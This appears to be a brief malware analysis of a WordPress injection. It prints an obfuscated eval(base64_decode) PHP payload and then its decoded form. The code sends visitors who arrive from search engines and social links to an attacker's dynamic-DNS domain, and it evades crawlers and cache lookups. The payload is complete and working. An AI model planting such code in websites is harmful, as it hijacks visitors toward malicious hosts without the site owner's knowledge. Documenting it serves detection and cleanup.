Wordpress Malware - Redirect

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eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikgYW5kICFzdHJzdHIoJHVhZywiRmlyZWZveC8zLiIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlci4iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInQuY28vIikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpIG9yIChwcmVnX21hdGNoICgiL2h0dHBzOlwvXC93d3cuZ29vZ2xlXC4oLio/KVwvLyIsJHJlZmVyZXIpIGFuZCBzdHJzdHIoJHVhZywiQ2hyb21lLyIpKSkgewppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiRWVZcDNENyIpKXsKaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZoamFrZmpnLmRkbnMuaW5mby8iKTsKZXhpdCgpOwp9Cn0KfQp9Cn0="));

##############################################################################################################################
decodes to:

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0") and !strstr($uag,"Firefox/3.")){
if (stristr($referer,"yahoo.") or stristr($referer,"bing.") or stristr($referer,"rambler.") or stristr($referer,"webalta.") or stristr($referer,"t.co/") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com") or (preg_match ("/https:\/\/www.google\.(.*?)\//",$referer) and strstr($uag,"Chrome/"))) {
if (!stristr($referer,"cache") and !stristr($referer,"inurl") and !stristr($referer,"EeYp3D7")){
header("Location: http://fhjakfjg.ddns.info/");
exit();
}
}
}
}
}